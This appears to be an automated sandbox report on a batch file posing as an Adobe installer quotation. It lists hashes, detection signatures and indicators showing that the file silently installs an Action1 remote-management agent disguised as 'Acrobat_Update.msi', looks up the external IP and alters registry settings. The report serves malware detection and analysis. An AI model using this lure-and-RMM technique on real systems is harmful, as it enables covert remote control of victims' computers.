Analysis
- max time kernel
85s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
14/07/2026, 04:12
Static task
static1
Behavioral task
behavioral1
Sample
Quotation-+Adobe+installer.bat
Resource
win10v2004-20260513-en
windows10-2004-x64
17 signatures
150 seconds
Behavioral task
behavioral2
Sample
Quotation-+Adobe+installer.bat
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
19 signatures
150 seconds
General
- Target Quotation-+Adobe+installer.bat
- Size 2KB
- Sample260714-esttvsdz8m
- SHA256 72e3e436e9f31b1c042cef0ed55000b1a1bda5e21098f5b92e20f7b71e121e85
- MD5 319c0fe21a683a53a19d39fc2d531975
- SHA1 2da4a9f7f94bafdf5857e263202cefa9a6c247e9
- SHA512 0d4eeaea3193947563c1309ff50059ef317a12e8faaaf40c3314db2d947b0f77e1ee7355516697d7ca1c923fa5d11cdcae25b3b68d056ed6dae2ef27d0570ff4
- TLSH T16B5140463640D6BA86F58908C8688076F818658F93153DECF5B7D1316FB43D09AFF9CA
- MD5 SHA1 SHA512 TLSH
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 4196 powershell.exe 3 2920 msiexec.exe 6 2920 msiexec.exe 7 6080 powershell.exe 8 6080 powershell.exe 9 6080 powershell.exe -
pid Process 4316 powershell.exe 4148 powershell.exe 5084 powershell.exe 1172 powershell.exe 560 powershell.exe 5228 powershell.exe 3888 powershell.exe 808 powershell.exe 2500 powershell.exe 3172 powershell.exe 2652 powershell.exe 4464 powershell.exe 5376 powershell.exe 2476 powershell.exe 3360 powershell.exe 5924 powershell.exe 1476 powershell.exe 1888 powershell.exe 2072 powershell.exe 6060 powershell.exe 1144 powershell.exe 6120 powershell.exe 3656 powershell.exe 764 powershell.exe 3168 powershell.exe 6032 powershell.exe 244 powershell.exe 260 powershell.exe 1472 powershell.exe 4748 powershell.exe 5584 powershell.exe 3432 powershell.exe 2796 powershell.exe 3352 powershell.exe 3180 powershell.exe 4276 powershell.exe 1372 powershell.exe 4732 powershell.exe 4080 powershell.exe 6080 powershell.exe 2024 powershell.exe 4196 powershell.exe 4196 powershell.exe - Executes dropped EXE 4 IoCs
pid Process 5688 action1_agent.exe 1588 action1_agent.exe 4688 action1_agent.exe 6128 action1_agent.exe - Loads dropped DLL 4 IoCs
pid Process 2648 MsiExec.exe 2648 MsiExec.exe 2648 MsiExec.exe 5616 MsiExec.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\X: msiexec.exe - Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ifconfig.me 11 ifconfig.me - Drops file in System32 directory 26 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Action1\7971f918-a847-4430-9279-4a52d1efe18d powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Action1\7971f918-a847-4430-9279-4a52d1efe18d powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Action1\7971f918-a847-4430-9279-4a52d1efe18d powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe - Drops file in Windows directory 64 IoCs
description ioc Process File created C:\Windows\SystemTemp\__PSScriptPolicyTest_5ztqgrjs.dpx.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_jgt0kfx4.dq2.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_hnpvakbl.rkc.psm1 powershell.exe File opened for modification C:\Windows\Installer\MSI5FDB.tmp msiexec.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_gfgogdfy.sko.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_kjzxslj5.3b2.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_2bochtvh.eez.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_kkdtj2yx.at0.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_fz54wcu4.wxu.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_p4orkd5v.ifb.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_aoug3m4r.tlq.psm1 powershell.exe File created C:\Windows\Installer\e592050.msi msiexec.exe File created C:\Windows\Action1\action1_agent.exe msiexec.exe File created C:\Windows\Action1\action1_agent.exe.update_state action1_agent.exe File created C:\Windows\Action1\advanced_settings.json.tmp action1_agent.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_52h1t0bs.rdx.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_3ugkx0ak.no2.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_fs13kgzf.ebz.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_3x4jcdug.j54.psm1 powershell.exe File created C:\Windows\Action1\first_install.tmp action1_agent.exe File created C:\Windows\Action1\datasource_data\1000.poll.tmp action1_agent.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_rzj0idox.z0c.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_jxy1dhs4.p5s.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_t45vbdn5.gdx.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_vpp3mcpg.vxk.ps1 powershell.exe File opened for modification C:\Windows\SystemTemp\Tmp3914.tmp powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_0p111jps.zaq.ps1 powershell.exe File created C:\Windows\Installer\SourceHash{E6D8B066-2E74-458F-9111-24857C1C627A} msiexec.exe File created C:\Windows\SystemTemp\~DF504095A1DB251065.TMP msiexec.exe File created C:\Windows\Action1\previousUser.txt powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_jc2n331c.vne.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_2verudfy.sq3.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_rc0hzbqg.mrm.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_cw3y0ols.hjp.psm1 powershell.exe File opened for modification C:\Windows\SystemTemp\Tmp38F3.tmp powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_v22bf2w4.qnk.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_u2g1jgeb.ro3.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_xlljqywt.gti.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_ku3etzb3.5ca.ps1 powershell.exe File opened for modification C:\Windows\Installer\e592050.msi msiexec.exe File created C:\Windows\Installer\e592055.msi msiexec.exe File created C:\Windows\SystemTemp\~DF9EF44BEB3854F327.TMP msiexec.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_gv3p2q0d.r5j.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_gset2l2z.hg4.ps1 powershell.exe File created C:\Windows\Action1\action1_agent.exe.connection action1_agent.exe File created C:\Windows\Action1\what_is_this.txt action1_agent.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_1uzpxoar.5ws.psm1 powershell.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSI61C3.tmp msiexec.exe File created C:\Windows\Action1\rule_data\1000.suppress action1_agent.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_igouweao.uoi.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_rs4guesw.yok.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_ja534prx.xfw.psm1 powershell.exe File opened for modification C:\Windows\Installer\MSI5F7C.tmp msiexec.exe File created C:\Windows\Action1\7z.dll msiexec.exe File created C:\Windows\Action1\action1_agent.exe.instance_lock action1_agent.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_50ghnbve.2wa.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_yb4oma1k.t2a.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_sblpektb.iiq.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_fyqpvzkq.ed5.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_kt3cggzw.1zz.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_d53xznta.u0p.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_ad2mm0d1.qen.ps1 powershell.exe File opened for modification C:\Windows\Installer\MSI604A.tmp msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language action1_agent.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language action1_agent.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language action1_agent.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language action1_agent.exe - Delays execution with timeout.exe 1 IoCs
pid Process 1496 timeout.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe - Modifies registry class 21 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\660B8D6E47E2F85419114258C7C126A7\A1_Agent msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\PackageCode = "919D3E7E9C8C211418ADC39A1BD1B1BF" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\AdvertiseFlags = "388" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\660B8D6E47E2F85419114258C7C126A7 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\ProductName = "Action1 Agent" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\ProductIcon = "C:\\Windows\\Installer\\{E6D8B066-2E74-458F-9111-24857C1C627A}\\ProductIcon" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\InstanceType = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\AuthorizedLUAApp = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B\660B8D6E47E2F85419114258C7C126A7 msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Version = "100663960" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Assignment = "1" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\PackageName = "Acrobat_Update.msi" msiexec.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4196 powershell.exe 4196 powershell.exe 2920 msiexec.exe 2920 msiexec.exe 3432 powershell.exe 3432 powershell.exe 2652 powershell.exe 2652 powershell.exe 6120 powershell.exe 6120 powershell.exe 6120 powershell.exe 6120 powershell.exe 6120 powershell.exe 6120 powershell.exe 1172 powershell.exe 1172 powershell.exe 1172 powershell.exe 3360 powershell.exe 3360 powershell.exe 3360 powershell.exe 3360 powershell.exe 3360 powershell.exe 3360 powershell.exe 3656 powershell.exe 3656 powershell.exe 3656 powershell.exe 764 powershell.exe 764 powershell.exe 764 powershell.exe 764 powershell.exe 764 powershell.exe 764 powershell.exe 560 powershell.exe 560 powershell.exe 560 powershell.exe 5924 powershell.exe 5924 powershell.exe 5924 powershell.exe 3168 powershell.exe 3168 powershell.exe 3168 powershell.exe 4080 powershell.exe 4080 powershell.exe 4080 powershell.exe 2796 powershell.exe 2796 powershell.exe 2796 powershell.exe 5228 powershell.exe 5228 powershell.exe 5228 powershell.exe 4316 powershell.exe 4316 powershell.exe 4316 powershell.exe 6080 powershell.exe 6080 powershell.exe 6080 powershell.exe 4464 powershell.exe 4464 powershell.exe 4464 powershell.exe 3352 powershell.exe 3352 powershell.exe 3352 powershell.exe 3352 powershell.exe 2024 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4196 powershell.exe Token: SeShutdownPrivilege 572 msiexec.exe Token: SeIncreaseQuotaPrivilege 572 msiexec.exe Token: SeSecurityPrivilege 2920 msiexec.exe Token: SeCreateTokenPrivilege 572 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 572 msiexec.exe Token: SeLockMemoryPrivilege 572 msiexec.exe Token: SeIncreaseQuotaPrivilege 572 msiexec.exe Token: SeMachineAccountPrivilege 572 msiexec.exe Token: SeTcbPrivilege 572 msiexec.exe Token: SeSecurityPrivilege 572 msiexec.exe Token: SeTakeOwnershipPrivilege 572 msiexec.exe Token: SeLoadDriverPrivilege 572 msiexec.exe Token: SeSystemProfilePrivilege 572 msiexec.exe Token: SeSystemtimePrivilege 572 msiexec.exe Token: SeProfSingleProcessPrivilege 572 msiexec.exe Token: SeIncBasePriorityPrivilege 572 msiexec.exe Token: SeCreatePagefilePrivilege 572 msiexec.exe Token: SeCreatePermanentPrivilege 572 msiexec.exe Token: SeBackupPrivilege 572 msiexec.exe Token: SeRestorePrivilege 572 msiexec.exe Token: SeShutdownPrivilege 572 msiexec.exe Token: SeDebugPrivilege 572 msiexec.exe Token: SeAuditPrivilege 572 msiexec.exe Token: SeSystemEnvironmentPrivilege 572 msiexec.exe Token: SeChangeNotifyPrivilege 572 msiexec.exe Token: SeRemoteShutdownPrivilege 572 msiexec.exe Token: SeUndockPrivilege 572 msiexec.exe Token: SeSyncAgentPrivilege 572 msiexec.exe Token: SeEnableDelegationPrivilege 572 msiexec.exe Token: SeManageVolumePrivilege 572 msiexec.exe Token: SeImpersonatePrivilege 572 msiexec.exe Token: SeCreateGlobalPrivilege 572 msiexec.exe Token: SeRestorePrivilege 2920 msiexec.exe Token: SeTakeOwnershipPrivilege 2920 msiexec.exe Token: SeRestorePrivilege 2920 msiexec.exe Token: SeTakeOwnershipPrivilege 2920 msiexec.exe Token: SeRestorePrivilege 2920 msiexec.exe Token: SeTakeOwnershipPrivilege 2920 msiexec.exe Token: SeRestorePrivilege 2920 msiexec.exe Token: SeTakeOwnershipPrivilege 2920 msiexec.exe Token: SeRestorePrivilege 2920 msiexec.exe Token: SeTakeOwnershipPrivilege 2920 msiexec.exe Token: SeRestorePrivilege 2920 msiexec.exe Token: SeTakeOwnershipPrivilege 2920 msiexec.exe Token: SeShutdownPrivilege 5616 MsiExec.exe Token: SeRestorePrivilege 2920 msiexec.exe Token: SeTakeOwnershipPrivilege 2920 msiexec.exe Token: SeRestorePrivilege 2920 msiexec.exe Token: SeTakeOwnershipPrivilege 2920 msiexec.exe Token: SeDebugPrivilege 3432 powershell.exe Token: SeBackupPrivilege 5688 action1_agent.exe Token: SeBackupPrivilege 5688 action1_agent.exe Token: SeRestorePrivilege 2920 msiexec.exe Token: SeTakeOwnershipPrivilege 2920 msiexec.exe Token: SeRestorePrivilege 2920 msiexec.exe Token: SeTakeOwnershipPrivilege 2920 msiexec.exe Token: SeRestorePrivilege 2920 msiexec.exe Token: SeTakeOwnershipPrivilege 2920 msiexec.exe Token: SeRestorePrivilege 2920 msiexec.exe Token: SeTakeOwnershipPrivilege 2920 msiexec.exe Token: SeRestorePrivilege 2920 msiexec.exe Token: SeTakeOwnershipPrivilege 2920 msiexec.exe Token: SeRestorePrivilege 2920 msiexec.exe - Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 572 msiexec.exe 2920 msiexec.exe 2648 MsiExec.exe 5616 MsiExec.exe - Suspicious use of WriteProcessMemory 44 IoCs
